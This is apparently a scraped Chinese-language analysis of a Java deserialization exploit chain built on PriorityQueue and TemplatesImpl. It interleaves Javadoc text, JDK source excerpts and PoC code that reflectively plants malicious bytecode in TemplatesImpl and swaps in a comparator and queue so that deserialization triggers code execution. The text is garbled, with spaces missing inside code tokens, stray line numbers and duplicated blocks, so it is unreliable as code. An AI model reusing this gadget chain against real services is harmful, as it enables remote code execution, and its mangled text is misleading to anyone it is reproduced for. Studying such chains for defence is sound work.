An unbounded priority queue based on a priority heap. The elements of the priority queue are ordered according to their natural ordering, or by a Comparator provided at queue construction time, depending on which constructor is used. A priority queue does not permit null elements. A priority queue relying on natural ordering also does not permit insertion of non-comparable objects (doing so may result in ClassCastException).
A Field provides information about, and dynamic access to, a single field of a class or an interface. The reflected field may be a class (static) field or an instance field.
A Field permits widening conversions to occur during a get or set access operation, but throws an IllegalArgumentException if a narrowing conversion would occur.
在POC1中触发漏洞是Object o = (Object)ois.readObject();,其进一步调用的是PriorityQueue#readObject,在PriorityQueue#readObject中下断点调试,查看readObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
privatevoidreadObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();
// Read in (and discard) array length s.readInt();
/** * Establishes the heap invariant (described above) in the entire tree, * assuming nothing about the order of the elements prior to the call. */ @SuppressWarnings("unchecked") privatevoidheapify() { for (inti= (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
/** * Inserts item x at position k, maintaining heap invariant by * demoting x down the tree repeatedly until it is less than or * equal to its children or is a leaf. * * @param k the position to fill * @param x the item to insert */ privatevoidsiftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(newClass[]{}).newInstance();//反射创建TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,newbyte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue,newObject[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(newClass[]{}).newInstance();//反射创建TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,newbyte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
if (classCount > 1) { _auxClasses = newHashMap<>(); }
for (inti=0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); finalClasssuperClass= _class[i].getSuperclass();
// Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslettranslet= (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); }
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue,newObject[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl